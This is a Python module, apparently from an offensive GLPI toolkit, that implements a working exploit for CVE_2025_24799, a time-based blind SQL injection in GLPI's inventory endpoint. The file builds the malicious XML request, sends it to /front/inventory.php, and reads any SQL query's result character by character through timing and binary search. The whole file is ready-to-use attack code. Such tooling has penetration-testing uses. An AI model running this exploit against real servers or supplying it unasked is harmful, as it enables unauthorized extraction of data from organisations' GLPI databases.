import re
import json
import readline
import time
from urllib.parse import urlparse
from http import HTTPStatus
from ..exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from glpwnme.exploits.sql_injection_mixin import SqlInjectionMixin

class CVE_2025_24799(GlpiExploit):
    """
    This CVE abuses an SQL Injection in the inventory feature
    Learn more:
      - https://blog.lexfo.fr/glpi-sql-to-rce.html

    @author rz
    @cvss 7.5
    @name CVE_2025_24799
    """
    _impacts = "SQL Injection"
    min_version = "10.0.0"
    max_version = "10.0.18"
    require_inventory = True
    _is_check_opsec_safe = False

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allows you to recover database information through SQL Injection\n"
        infos += "It uses a SQL Injection time based to extract datas\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]sql (default 'SELECT VERSION')[/i]: The sql query to run\n"
        infos += " - [i]time (default '3')[/i]: The number of seconds used in time-based\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += SqlInjectionMixin.get_help_usage()

        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def _run_sql_injection(self, payload, time_used):
        """
        Run the sql injection and check if it worked or not

        :param payload: The sql payload to add (exemple: )
        :type payload: str

        :return: True or False regarding the SQL Injection
        :rtype: bool
        """
        sql_payload = '<?xml version="1.0" encoding="UTF-8"?>'
        sql_payload += "<xml><QUERY>get_params</QUERY>"
        sql_payload += f"<deviceid>' UNION ALL SELECT IF({payload},SLEEP({time_used}),1) -- -'</deviceid>"
        sql_payload += "<content>fake</content>"
        sql_payload += "</xml>"

        a = time.time()
        res = self.glpi_session.sess.post(self.glpi_session._get_url("/front/inventory.php"),
                                          headers={"Content-Type": "application/xml"},
                                          data=sql_payload,
                                          verify=False)
        if time.time() - a > float(time_used):
            return True
        return False

    def dichotomi(self, payload, previous_length, try_length, time):
        """
        Run dichotomi research from a payload
        The payload must contains a placeholder {length}
        """
        while previous_length <= try_length:
            mid = (try_length + previous_length) // 2
            result = self._run_sql_injection(payload.format(length=str(mid)), time)
            if result:
                previous_length = mid + 1
            else:
                try_length = mid-1
        return previous_length

    def count_char(self, sql, time):
        """
        Count how many chars contains the result
        The length will be calculate through Dichotomie

        :param sql: The sql payload given by the user
        :type sql: str

        :return: The number of char in the result
        :rtype: int
        """
        length_payload = f"LENGTH({sql})>{{length}}"
        previous_length = 0
        try_length = 20
        max_iter = 11
        for i in range(max_iter):
            if self._run_sql_injection(length_payload.format(length=str(try_length)), time):
                previous_length = try_length
                try_length *= 2

            elif i == max_iter-1:
                Log.err(f"Max iterations reached, aborting, size exceeding: {str(try_length)}")
                exit(1)
            else:
                break

        return self.dichotomi(length_payload, previous_length, try_length, time)

    def check(self):
        """
        Check if the target is vulnerable
        """
        return self._run_sql_injection("1=1", 3)

    def sqli(self, payload, length_result, time):
        """
        Exploit the sqli time based
        """
        res = ""
        for i in range(1, length_result + 1):
            char_payload = f"ASCII(SUBSTR({payload}, {i}, 1))>{{length}}"
            res += chr(self.dichotomi(char_payload, 0, 255, time))
            Log.msg(f"Current result: [gold3]{res}[/]", end="\r")
        return res

    def run(self, sql="SELECT VERSION()", time="3"):
        """
        Run the exploit on the target

        SQL Injection occurs here:
          SELECT `id` FROM `glpi_agents` WHERE `deviceid` = '{PAYLOAD}'
        """
        Log.msg(f"Trying to run SQL Query: {sql}")
        Log.msg(f"Sleeping {time} seconds")
        if '<' in sql or '>' in sql:
            Log.log("Special xml characters found, replacing them")
            sql = sql.replace('<', '&lt;').replace('>', '&gt;')
        sql = f"({sql})"
        result_size = self.count_char(sql, time)
        if result_size == 0:
            Log.err("Result is empty")
        else:
            Log.msg(f"Length of result: {str(result_size)}")
            result = self.sqli(sql, result_size, time)
            print(f"\x1b[K", end="\r")
            Log.msg(f"Final result:\n{result}")

